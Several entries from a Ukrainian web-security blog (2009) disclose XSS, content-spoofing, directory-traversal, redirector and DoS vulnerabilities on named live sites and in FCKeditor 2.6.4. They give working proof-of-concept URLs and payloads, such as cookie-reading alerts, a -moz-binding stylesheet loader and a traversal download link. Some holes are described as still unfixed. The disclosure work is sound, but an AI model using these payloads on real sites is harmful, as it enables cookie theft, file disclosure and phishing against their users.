Websecurity - Веб безпека

09.07.2009

У жовтні, 12.10.2008, я знайшов Cross-Site Scripting і Denial of Service уразливості на проекті http://matrix.ua (інтернет магазин). Про що найближчим часом сповіщу адміністрацію проекту.

Стосовно дірок на сайтах онлайн магазинів в останнє я писав про уразливості на tvshop.com.ua.

Детальна інформація про уразливості з’явиться пізніше. Треба дати час адмінам на реакцію з цього приводу.

22.09.2009

XSS:

• alert(document.cookie)
• alert(document.cookie)
• alert(document.cookie)
• цікавий
• html включення

DoS:

http://matrix.ua/search/?keyword=

Можливі також інші DoS через SQL Injection атаки в даному скрипті.

Дані уразливості досі не виправлені.

У січні, 24.01.2009, я знайшов Cross-Site Scripting уразливість на http://www.ictexpo.info - сайті виставки “Информатика и связь”. Про що найближчим часом сповіщу адміністрацію сайта.

Дірка подібна до уразливості на cbse.com.ua.

XSS:

• alert(document.cookie)
• цікавий

Уразливість спрацьовує при кліку на лінці “версия для печати”. Це Strictly social XSS.

В даній добірці уразливості в веб додатках:

• Barracuda Span Firewall SQL Injection Vulnerability (деталі)
• Collabtive 0.4.8 Multiple Vulnerabilities (деталі)
• Joomla Component JooBlog 0.1.1 (PostID) SQL Injection Vuln. (деталі)
• TmaxSoft JEUS Alternate Data Streams Vulnerability (деталі)
• Sql Injection in vBulletin 3.7.3.pl1 (деталі)
• Multiple Sql Injection in vBulletin 3.7.4 (деталі)
• Kimson cms cross site scripting vulnerability (деталі)
• Local File Include Vulnerability in Pluck CMS 4.5.3 (деталі)
• boastMachine v3.1 Remote Sql Injection (деталі)
• Social Engine 2.7 CRLF Injection + SQL injection (деталі)

У січні, 24.01.2009, я знайшов Cross-Site Scripting уразливість на http://cbse.com.ua - сайті виставок CBSE та CARDEX & IT SECURITY. Про що найближчим часом сповіщу адміністрацію сайта.

XSS:

• alert(document.cookie)
• цікавий

Уразливість спрацьовує при кліку на лінці “print version”. Це Strictly social XSS.

07.07.2009

У червні, 23.06.2009, я знайшов Cross-Site Scripting та Content Spoofing уразливості в FCKeditor. Про що найближчим часом повідомлю розробникам редактора.

Раніше я вже писав про уразливості в FCKeditor.

Детальна інформація про уразливості з’явиться пізніше. Спочатку повідомлю розробникам веб додатка.

19.09.2009

XSS:

В FCKEditor є Persistent XSS уразливість, що дозволяє розміщувати XSS код на сайтах, які його використовуть. Атака (в Mozilla і Firefox) відбувається через розміщення лінки з вказанням стилю:

<a href="http://test" style="-moz-binding:url('http://site/xss.xml#xss')">test</a>

Content Spoofing:

Це Persistent Content Spoofing уразливість.

<a href="http://websecurity.com.ua" style="width:100%;height:100%;display:block;position:absolute;top:0px;left:0px">&nbsp;</a>

Дані уразливості в самому редакторі, а не в аплоадері, як більшість уразливостей, про які я писав раніше. Тому їх можна використати на будь-якому сайті, що використовує FCKeditor в якості редактора для веб форм.

Уразливі FCKeditor 2.6.4 та попередні версії.

У січні, 16.01.2009, я знайшов Directory Traversal та Full path disclosure уразливості в FileDownload Snippet для MODx (популярної CMF і CMS). Уразливості виявив на офіційному сайті системи http://modxcms.com. Про що найближчим часом повідомлю розробникам системи.

Раніше я вже писав про уразливість в MODx CMS.

Directory Traversal:

http://site/assets/snippets/filedownload/download.php?path=YnVpbGRz&fileName=../index.php

Дана уразливість може використовуватися для Arbitrary File Disclosure атаки. Можна викачати будь-які файли з сервера, окрім тих, що містять в шляху та імені рядки “manager” і “config.inc.php”.

Full path disclosure:

http://site/assets/snippets/filedownload/download.php?path=YnVpbGRz&fileName=1

Як я пізніше дізнався на secunia.com, раніше в 2007 році вже була виявлена подібна уразливість в даному веб додатку - FileDownload Snippet for MODx “download.php” Arbitrary File Download. Але розробники зробили вигляд, що виправили її. Але насправді вони виправили уразливість погано - лише заборонили рядки “manager” та “config.inc.php” в шляху та імені файла, але можливість Directory Traversal залишилася.

В даній добірці уразливості в веб додатках:

• New lighttpd packages fix various problems (деталі)
• DriveCMS article.php remote sql injection (деталі)
• Enthusiast 3 Remote Code Execution (деталі)
• Metrica Service Assurance Multiple Cross Site Scripting (деталі)
• Multiple remote vulnerabilities MoinMoin v1.80 (деталі)
• Cross-site scripting (XSS) vulnerability in Gallery (деталі)
• Directory traversal vulnerability in Gallery (деталі)
• Information disclosure in Gallery (деталі)
• Directory traversal vulnerability in Gallery (деталі)
• HP Insight Diagnostics, Remote Unauthorized Access to Files (деталі)

Ще 07.11.2007 я знайшов Redirector та Full path disclosure уразливості на секюріті сайті http://openid.net. Також тоді я знайшов й інші уразливості, зокрема Directory Indexing, але зараз вони вже виправлені (окрім цих двох). Про що найближчим часом сповіщу адміністрацію сайта.

Redirector:

http://openid.net/redirect.php?site=websecurity.com.ua

Full path disclosure:

http://openid.net/redirect.php?site=%0A1

В даній добірці уразливості в веб додатках:

• HP Select Identity Active Directory Bidirectional LDAP Connector, Remote Unauthorized Access (деталі)
• Typo <= 5.1.3 Multiple Vulnerabilities (деталі)
• sharedlog CMS Remote File Includes (деталі)
• Iltaweb Kolay Site (urundetay) Sql injection Vulnerability (Tr) (деталі)
• Aruba Mobility Controller TACACS User Authentication and Cross Site Scripting Vulnerabilities (деталі)
• Gangstaz Koy Portal Sql Injection Vulnerability (Tr) (деталі)
• Remote access vulnerability using BigDump ver. 0.29b (деталі)
• Arab Portal v2.1 Remote File Disclosure (Win32) (деталі)
• hMAilServer 4.4.2 (PHPWebAdmin) local & remote file inclusion (деталі)
• FirmChannel Digital Signage 3.24 Cross-site scripting (деталі)

22.06.2009

У вересні, 21.09.2008, я знайшов Abuse of Functionality, Insufficient Anti-automation та Redirector уразливості на сайті http://keepvid.com. Про що найближчим часом сповіщу адміністрацію сайта.

Детальна інформація про уразливості з’явиться пізніше.

15.09.2009

Abuse of Functionality:

http://keepvid.com/?url=http%3A%2F%2Fsite

Даний функціонал сайта може використовуватися для проведення CSRF атак на інші сайти.

Insufficient Anti-automation:

http://keepvid.com/?url=http%3A%2F%2Fsite

На даній сторінці відсутній захист від автоматизованих запитів (капча).

Redirector:

http://keepvid.com/save-video.flv?http://websecurity.com.ua

Дані уразливості досі не виправлені.